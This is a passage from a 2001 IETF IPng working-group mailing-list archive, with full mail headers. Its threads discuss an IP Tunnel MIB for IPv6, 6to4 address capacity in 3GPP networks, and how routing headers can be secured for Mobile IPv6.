http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 10 13:40:09 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBALe9vU014698 for ; Mon, 10 Dec 2001 13:40:09 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBALe8Wb014697 for ipng-dist; Mon, 10 Dec 2001 13:40:08 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBALe5vU014690 for ; Mon, 10 Dec 2001 13:40:05 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA07557 for ; Mon, 10 Dec 2001 13:40:07 -0800 (PST) Received: from exchange.Ic4ic.com ([194.90.135.194]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with SMTP id OAA08516 for ; Mon, 10 Dec 2001 14:40:06 -0700 (MST) Received: through eSafe SMTP Relay 1007305455; Mon Dec 10 23:42:02 2001 Subject: RE: [L2tpext] IP Tunnel MIB MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Date: Mon, 10 Dec 2001 23:40:02 +0200 content-class: urn:content-classes:message X-MimeOLE: Produced By Microsoft Exchange V6.0.4417.0 Message-ID: <88BC9E379956AE4DB689CC5FF6F5A43D15C894@exchange.Ic4ic.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [L2tpext] IP Tunnel MIB Thread-Index: AcGBwrkN7aQ2FLfxSEmDsbHbH1m2xgAAG5kQ From: "Daniel Feldman" To: "Evan Caves" , "Klausberger Walter" Cc: "W. Mark Townsley" , , Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id fBALe6vU014691 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk ...the problem is there is no IP Tunnel MIB for IPv6 networks... -----Original Message----- From: Evan Caves [mailto:evan@occamnetworks.com] Sent: Monday, December 10, 2001 11:33 PM To: Klausberger Walter Cc: Daniel Feldman; W. Mark Townsley; l2tpext@ietf.org; ipng@sunroof.eng.sun.com Subject: Re: [L2tpext] IP Tunnel MIB inline Klausberger Walter wrote: >Hi, > >I think the Tunnel MIB was fine, when it was defined, but I do not think >that it was a very good idea to use it as base for L2TP. > This last comment does not make any sense. Using the IP Tunnel MIB as a base mib for IPv4 tunneling strategies was its intent. L2TP used it because it was supposed to. >Maybe you could do >a fast adaptation by changing TOS to traffic class and the like, but don't >we need additional enhancements in the near future. The tunnel MIB is fixed >to IPv4. > The IP Tunnel MIB specifically states that it manages tunnels over IPv4 networks, period, and that tunnels over other networks will require their own management support. > > >I had some discussion with Evan Caves and Dave Thaler during the San Diego >meeting a year ago. This MIB fits for all kind of statically used tunnels >over IPv4, but I found a lot of problems together with dynamically created >tunnels (in LAC case via RADIUS) and L2TP over ATM/Frame Relay (e.g. >endpoint identifier, security,...). > If there are problems with the current MIB definitions then they should be discussed and rectified if necessary. > > >Now we have this new case with IPv6. Next may be MPLS or something else. >Shouldn't we consider an alternativ to the Tunnel MIB as part of a new MIB >for L2TP, which is still no RFC (I wonder if it will ever become an RFC)? Or >should we think of an advanced version of a more generic Tunnel MIB. > >Or should we make a seperate MIB for L2TP over IPv6? (then we should do be >more flexible than the Tunnel MIB)? > If an IP Tunnel MIB for IPv6 networks is defined then L2TP will use that as a base. evan - -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 10 13:45:03 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBALj3vU014853 for ; Mon, 10 Dec 2001 13:45:03 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBALj3sC014852 for ipng-dist; Mon, 10 Dec 2001 13:45:03 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBALj0vU014845 for ; Mon, 10 Dec 2001 13:45:00 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA19142 for ; Mon, 10 Dec 2001 13:45:02 -0800 (PST) Received: from iiic.ethz.ch (rif-giga.iiic.ethz.ch [129.132.179.2]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA10084 for ; Mon, 10 Dec 2001 14:45:01 -0700 (MST) Received: from iiic.ethz.ch (rou-woko-nat.ethz.ch [129.132.107.21]) by iiic.ethz.ch (8.9.3/8.9.3) with ESMTP id WAA09208 for ; Mon, 10 Dec 2001 22:44:59 +0100 (MET) Message-ID: <3C15354F.4B161034@iiic.ethz.ch> Date: Mon, 10 Dec 2001 23:21:04 +0100 From: Thomas Heinis X-Mailer: Mozilla 4.72 [en] (Win98; I) X-Accept-Language: en MIME-Version: 1.0 To: ipng@sunroof.eng.sun.com Subject: ip6_build_xmit Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hi all, I am not quite sure, it might be off topic. Please forgive me if it is, but how can I use ip6_build_xmit to send an ICMPv6 packet? I have been trying several things by now, I have been looking through the whole code, but did not succeed ind sending this packet! How can I do this? Has anyone experience? Thanks, Thomas -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 10 14:50:22 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBAMoMvU015657 for ; Mon, 10 Dec 2001 14:50:22 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBAMoLaA015656 for ipng-dist; Mon, 10 Dec 2001 14:50:21 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBAMoIvU015646 for ; Mon, 10 Dec 2001 14:50:18 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA03748 for ; Mon, 10 Dec 2001 14:50:21 -0800 (PST) Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id PAA26635 for ; Mon, 10 Dec 2001 15:50:02 -0700 (MST) Received: from eed.ericsson.se (mailhost.eed.ericsson.se [164.48.133.33]) by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with ESMTP id fBAMoIJ01584; Mon, 10 Dec 2001 23:50:18 +0100 (MET) Received: from eed.ericsson.se (arka04m22.sw.ericsson.se [136.225.183.87]) by eed.ericsson.se (8.8.8+Sun/1.2.mit) with ESMTP id XAA06267; Mon, 10 Dec 2001 23:50:16 +0100 (MET) Message-ID: <3C153C25.9632F417@eed.ericsson.se> Date: Mon, 10 Dec 2001 23:50:13 +0100 From: Juan-Antonio Ibanez X-Mailer: Mozilla 4.74 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: Brian E Carpenter CC: ipng@sunroof.eng.sun.com Subject: Re: Feedback from 3GPP about draft-wasserman References: <3C0FC2B3.7D3EC831@eed.ericsson.se> <3C150335.77CA4D58@hursley.ibm.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Well, all terminals attached to a given APN will receive the same router advertisements from the GGSN, so having two IPv4 global addresses per APN would simply mean that each primary PDP context would get two 6to4 addresses, but the limit will still be 64k primary PDP contexts per APN. As for your question, to say a number, 500k primary PDP contexts on a single APN seems quite realistic (assuming a GGSN supporting 1 million PDP contexts). /Juan Brian E Carpenter wrote: > > Juan-Antonio Ibanez wrote: > ... > > 2) Would the /64 prefix allocation preclude the use of the 6to4 > > transition mechanism in 3GPP? > > 6to4 relies on a /48 prefix, meaning that only 64k mobile nodes (or > > rather "primary" PDP contexts) would be allowed on a given APN that > > supports 6to4. > > Are you assuming that the APN has exactly one globally routable IPv4 > address? If so, it can only own one 6to4 /48 prefix, i.e. 64k /64s > as you say. But if the APN has 2 IPv4 addresses, it can have two > 6to4 prefixes, etc. > > What is the realistic requirement for the number of primary PDP > contexts per APN? > > Brian > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 10 15:44:22 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBANiLvU016387 for ; Mon, 10 Dec 2001 15:44:22 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBANiLrI016386 for ipng-dist; Mon, 10 Dec 2001 15:44:21 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from bebop.France.Sun.COM (bebop.France.Sun.COM [129.157.174.15]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBANiGvU016379 for ; Mon, 10 Dec 2001 15:44:17 -0800 (PST) Received: from lillen (vpn133-11.EBay.Sun.COM [129.150.133.11]) by bebop.France.Sun.COM (8.10.2+Sun/8.9.3/ENSMAIL,v2.1p1) with SMTP id fBANiEq14626; Tue, 11 Dec 2001 00:44:15 +0100 (MET) Date: Tue, 11 Dec 2001 00:42:29 +0100 (CET) From: Erik Nordmark Reply-To: Erik Nordmark Subject: Re: I-D ACTION:draft-deering-ipv6-encap-addr-deletion-00.txt To: "Jari T. Malinen" Cc: ipng@sunroof.eng.sun.com In-Reply-To: "Your message with ID" <3C15003E.D2AC98CF@iprg.nokia.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > Erik, Sorry for not responding sooner - the email didn't have me on the to or cc lists. > My point was that even though firewall would not know, if we have > enforcement of the "host-check" rule [cf. Pekka's mail for its decoding], > in all nodes _receiving_ the routing header, this would be a distributed way > of enforcing the conditions we discuss. Yes, if you make all hosts and routers inside the firewall have that check you'd be fine. Two issues: 1. the firewall might not want to trust all the internal hosts and routers to be correctly configured with such a rule. 2. I think this would prevent using routing headers for their general use for traffic that is local to the domain inside the firewall. So it seems like if these should be the default rule for all hosts and routers we've effectively redefined the type 0 routing header to be only useful for MIPv6. And if it isn't the default then issue #1 is definitely present. Sounds like if there are strong arguments for this level of security it would be politer to define a new header than cripple the general usability of the routing header. > In the distributed approach I was describing, we would need the > "host rule" to be something to enable or disable in forwarding source > routers, too. In case source routing would be disabled for the domain, > they too would disable this. We're in agreement on this one. > > As Pekka's draft points out this could lack of distinction could > > be addressed by defining a new type of routing header which is > > limited to "forwarding" on the same node. > > True. This is another way, which is a "cheaper" way than a totally > new extension header to have the control localized to the firewall. For what notion of "cost" do you come to that conclusion? To me the cost/benefit tradeoff between a new routing header type and e.g. Deering/Zill tunneling headers isn't obvious. > So to get more clarity, is the localization (to the firewall) of > controlling the use of routing header something that you find necessary? I honestly don't know. Pekka brought up the issue - perhaps he can comment? The background for this was that allowing generic use of routing headers is dangerous and is something that firewalls might block. But I don't fully understand the severity of allowing general use of routing headers - it does allow a DoS attacker to hide a bit since it could be present at any previous hop in the routing header. > If so, would the use of "type 1" routing header in MIPv6 draft address > the issue? Yes, but is this conceptually simpler than Deering/Zill tunneling? Easier to implement? They seem to be about equivalent in these respects as far as I understand today. Erik -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 10 15:54:43 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBANsgvU016521 for ; Mon, 10 Dec 2001 15:54:42 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBANsgCK016520 for ipng-dist; Mon, 10 Dec 2001 15:54:42 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBANsdvU016513 for ; Mon, 10 Dec 2001 15:54:39 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA29141 for ; Mon, 10 Dec 2001 15:54:41 -0800 (PST) Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAB13927 for ; Mon, 10 Dec 2001 16:54:22 -0700 (MST) Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69]) by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id PAA17161; Mon, 10 Dec 2001 15:54:40 -0800 (PST) Received: (from root@localhost) by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id fBANsdj22655; Mon, 10 Dec 2001 15:54:39 -0800 X-mProtect: Mon, 10 Dec 2001 15:54:39 -0800 Nokia Silicon Valley Messaging Protection Received: from maxdialin0.iprg.nokia.com (205.226.20.230, claiming to be "iprg.nokia.com") by darkstar.iprg.nokia.com(P1.5 smtpdcLGEFH; Mon, 10 Dec 2001 15:54:36 PST Message-ID: <3C154AF2.6E79EB57@iprg.nokia.com> Date: Mon, 10 Dec 2001 15:53:22 -0800 From: Charlie Perkins Organization: Nokia X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Erik Nordmark , "Jari T. Malinen" CC: ipng@sunroof.eng.sun.com Subject: Re: I-D ACTION:draft-deering-ipv6-encap-addr-deletion-00.txt References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hello folks, Erik Nordmark wrote: > > My point was that even though firewall would not know, if we have > > enforcement of the "host-check" rule [cf. Pekka's mail for its decoding], > > in all nodes _receiving_ the routing header, this would be a distributed way > > of enforcing the conditions we discuss. > > Yes, if you make all hosts and routers inside the firewall have that check > you'd be fine. The same care is going to be required for routing headers as would be for more general encapsulation in this regard. For routing headers, all that is required is to check that the home address is the next intermediate routing point after the care-of address. If these addresses were inserted into a longer sequence of intermediate routing points, the same check would be sufficient _for the purposes of Mobile IPv6_! The other parts of the routing path in the routing header would have to be checked according to the rules of whatever policy was used to build up the other parts of the routing path. The exact same careful checking would be required if encapsulation were used instead. In this way, no crippling of the utility of the routing header would result. On the other hand, I hope that my point can be understood that all such uses will require care to avoid unwanted vulnerabilities. Just like with encapsulation! > Two issues: > 1. the firewall might not want to trust all the internal hosts and routers > to be correctly configured with such a rule. > 2. I think this would prevent using routing headers for their general use > for traffic that is local to the domain inside the firewall. I think it's crucial that hosts using routing headers for care-of address redirection are themselves responsible for doing the check, and not to rely on the firewall. It's not the job of the firewall. And if encapsulation were in use, it would definitely not be the job of the firewall. I don't see why this is considered to be a relevant issue. Regards, Charlie P. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 10 16:04:19 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBB04JvU016569 for ; Mon, 10 Dec 2001 16:04:19 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBB04I8t016568 for ipng-dist; Mon, 10 Dec 2001 16:04:18 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from bebop.France.Sun.COM (bebop.France.Sun.COM [129.157.174.15]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBB04EvU016561 for ; Mon, 10 Dec 2001 16:04:14 -0800 (PST) Received: from lillen (vpn133-11.EBay.Sun.COM [129.150.133.11]) by bebop.France.Sun.COM (8.10.2+Sun/8.9.3/ENSMAIL,v2.1p1) with SMTP id fBB044q15547; Tue, 11 Dec 2001 01:04:05 +0100 (MET) Date: Tue, 11 Dec 2001 01:02:23 +0100 (CET) From: Erik Nordmark Reply-To: Erik Nordmark Subject: Re: I-D ACTION:draft-deering-ipv6-encap-addr-deletion-00.txt To: Charlie Perkins Cc: Erik Nordmark , "Jari T. Malinen" , ipng@sunroof.eng.sun.com In-Reply-To: "Your message with ID" <3C154AF2.6E79EB57@iprg.nokia.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > > Yes, if you make all hosts and routers inside the firewall have that check > > you'd be fine. > > The same care is going to be required for routing headers as would be > for more general encapsulation in this regard. > > For routing headers, all that is required is to check that the home address > is the next intermediate routing point after the care-of address. If these > addresses were inserted into a longer sequence of intermediate routing > points, the same check would be sufficient _for the purposes of Mobile IPv6_! > The other parts of the routing path in the routing header would have to be > checked according to the rules of whatever policy was used to build up the > other parts of the routing path. I missing something: My assumed use case is that folks want to use routing headers so that nodes can express a routing header with R1, R2, R3, Dest while limiting certain traffic to only express "MIPv6 routing headers" i.e. where there is a single hop on the final destination. In such a case which filter rules would apply on the various nodes. > The exact same careful checking would be required if encapsulation > were used instead. In the abstract I agree. But those checks will not disable some other general facility like routing headers. Having a decapsulating node have a mechanism for various protocols that use tunneling to specify what is acceptable to decapsulate (so that MIPv6, configured IPv6-in-IPv6 tunnels, etc can all specify what is acceptable) would make a lot of sense. > In this way, no crippling of the utility of the routing header would result. > On the other hand, I hope that my point can be understood that all such I missing the point. Erik -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 10 16:18:19 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBB0IJvU016622 for ; Mon, 10 Dec 2001 16:18:19 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBB0IJLu016621 for ipng-dist; Mon, 10 Dec 2001 16:18:19 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBB0IGvU016614 for ; Mon, 10 Dec 2001 16:18:16 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA23014; Mon, 10 Dec 2001 16:18:14 -0800 (PST) Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id RAA11546; Mon, 10 Dec 2001 17:18:49 -0700 (MST) Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69]) by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id QAA18604; Mon, 10 Dec 2001 16:18:12 -0800 (PST) Received: (from root@localhost) by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id fBB0ICv13354; Mon, 10 Dec 2001 16:18:12 -0800 X-mProtect: Mon, 10 Dec 2001 16:18:12 -0800 Nokia Silicon Valley Messaging Protection Received: from maxdialin3.iprg.nokia.com (205.226.20.233, claiming to be "iprg.nokia.com") by darkstar.iprg.nokia.com(P1.5 smtpd9najt9; Mon, 10 Dec 2001 16:18:09 PST Message-ID: <3C155065.437DE2CD@iprg.nokia.com> Date: Mon, 10 Dec 2001 16:16:37 -0800 From: Charlie Perkins Organization: Nokia X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Erik Nordmark CC: "Jari T. Malinen" , ipng@sunroof.eng.sun.com Subject: Re: I-D ACTION:draft-deering-ipv6-encap-addr-deletion-00.txt References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hello Erik, Erik Nordmark wrote: > > The same care is going to be required for routing headers as would be > > for more general encapsulation in this regard. > > > > For routing headers, all that is required is to check that the home address > > is the next intermediate routing point after the care-of address. If these > > addresses were inserted into a longer sequence of intermediate routing > > points, the same check would be sufficient _for the purposes of Mobile IPv6_! > > The other parts of the routing path in the routing header would have to be > > checked according to the rules of whatever policy was used to build up the > > other parts of the routing path. > > I missing something: My assumed use case is that folks > want to use routing headers so that > nodes can express a routing header with R1, R2, R3, Dest > while limiting certain traffic to only express "MIPv6 routing headers" > i.e. where there is a single hop on the final destination. > In such a case which filter rules would apply on the various nodes. My understanding is that the Mobile IPv6 use of routing headers SHOULD NOT be managed in such a way as to preclude other uses. There was some discussion on the mailing list about this a couple of months ago, and consequently some revisions were made to draft ...-15 to enable more general use of the routing header. Before, there wasn't much discussion about it, but every time that the topic came up I think that the sense was to avoid usurping the use of the routing header. Compatible co-existence was more the intention. > But those checks will not disable some other general facility like routing > headers. And, neither should Mobile IPv6, according to my understanding. > Having a decapsulating node have a mechanism for various protocols > that use tunneling to specify what is acceptable to decapsulate > (so that MIPv6, configured IPv6-in-IPv6 tunnels, etc can all specify > what is acceptable) would make a lot of sense. Indeed, we could have a separate encapsulation for every application. Or, as I hope, we can carefully specify the use of the existing tools in a way to maintain their generality while still getting the particular function we need. > > In this way, no crippling of the utility of the routing header would result. > > On the other hand, I hope that my point can be understood that all such > > I missing the point. Is it clearer now? Regards, Charlie P. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 10 17:21:27 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBB1LRvU017131 for ; Mon, 10 Dec 2001 17:21:27 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBB1LRS3017130 for ipng-dist; Mon, 10 Dec 2001 17:21:27 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBB1LNvU017120 for ; Mon, 10 Dec 2001 17:21:23 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id RAA14357; Mon, 10 Dec 2001 17:21:20 -0800 (PST) Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id SAA25597; Mon, 10 Dec 2001 18:21:16 -0700 (MST) Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69]) by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id RAA21413; Mon, 10 Dec 2001 17:21:16 -0800 (PST) Received: (from root@localhost) by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id fBB1LGC01599; Mon, 10 Dec 2001 17:21:16 -0800 X-mProtect: Mon, 10 Dec 2001 17:21:16 -0800 Nokia Silicon Valley Messaging Protection Received: from jmalinen.iprg.nokia.com (205.226.2.98) by darkstar.iprg.nokia.com(P1.5 smtpdhZB45R; Mon, 10 Dec 2001 17:21:14 PST Received: from iprg.nokia.com (localhost [127.0.0.1]) by jmalinen.iprg.nokia.com (8.9.3/8.6.12) with ESMTP id RAA33441; Mon, 10 Dec 2001 17:21:14 -0800 (PST) Message-ID: <3C155F8A.825280CA@iprg.nokia.com> Date: Mon, 10 Dec 2001 17:21:14 -0800 From: "Jari T. Malinen" Organization: Nokia X-Mailer: Mozilla 4.7 [en] (X11; I; FreeBSD 3.4-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: Erik Nordmark CC: ipng@sunroof.eng.sun.com Subject: Re: I-D ACTION:draft-deering-ipv6-encap-addr-deletion-00.txt References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Erik, (sorry omitting you from to-field) > > My point was that even though firewall would not know, if we have > > enforcement of the "host-check" rule [cf. Pekka's mail for its decoding], > > in all nodes _receiving_ the routing header, this would be a distributed way > > of enforcing the conditions we discuss. > > Yes, if you make all hosts and routers inside the firewall have that check > you'd be fine. > > Two issues: > 1. the firewall might not want to trust all the internal hosts and routers > to be correctly configured with such a rule. True. However, to use general source routing, you may need such configuration anyway. > 2. I think this would prevent using routing headers for their general use > for traffic that is local to the domain inside the firewall. If the forwarding source routers do have the host-check rule disabling as an option, they'd need to do further checking for legal destinations to enforce locality you mention. Otherwise packets won't always stay local to the domain. But as said, the distributed approach is one option. > So it seems like if these should be the default rule for all hosts and routers > we've effectively redefined the type 0 routing header to be only useful > for MIPv6. And if it isn't the default then issue #1 is definitely present. > > Sounds like if there are strong arguments for this level of security > it would be politer to define a new header than cripple the general usability > of the routing header. Given the distributed scheme I sketched, it would give all possibilities to do source routing, routing forwarders would just need to locally allow for source routing and have appropriate restrictions not to source-route anywhere. I'd not call this crippling but insertion of distributed protection that would allow a more controlled source routing. Analogous would be to allow web access to a server inside, you must locally ensure the server does not crash and let root shells run in it. This would also possibly be doable in a firewall, but currently the control is usually done watching all your reachable web server have current patches not to crash. Source routing would be a similar "service" in the distributed model. > > In the distributed approach I was describing, we would need the > > "host rule" to be something to enable or disable in forwarding source > > routers, too. In case source routing would be disabled for the domain, > > they too would disable this. > > We're in agreement on this one. > > > > As Pekka's draft points out this could lack of distinction could > > > be addressed by defining a new type of routing header which is > > > limited to "forwarding" on the same node. > > > > True. This is another way, which is a "cheaper" way than a totally > > new extension header to have the control localized to the firewall. > > For what notion of "cost" do you come to that conclusion? > To me the cost/benefit tradeoff between a new routing header type > and e.g. Deering/Zill tunneling headers isn't obvious. First, the security analysis in mobileip has identified the discussed issues in routing header. They'd be needing attention anyway. MIPv6 would give the opportunity both to have the issues for routing header fixed and to define the forwarding needed by MIPv6 securely, both with the same fix. Also, current implementations already know semantics of routing header, among other thing, already being able to skip an even unknown rthdr type, should this alternative be adapted, and as no 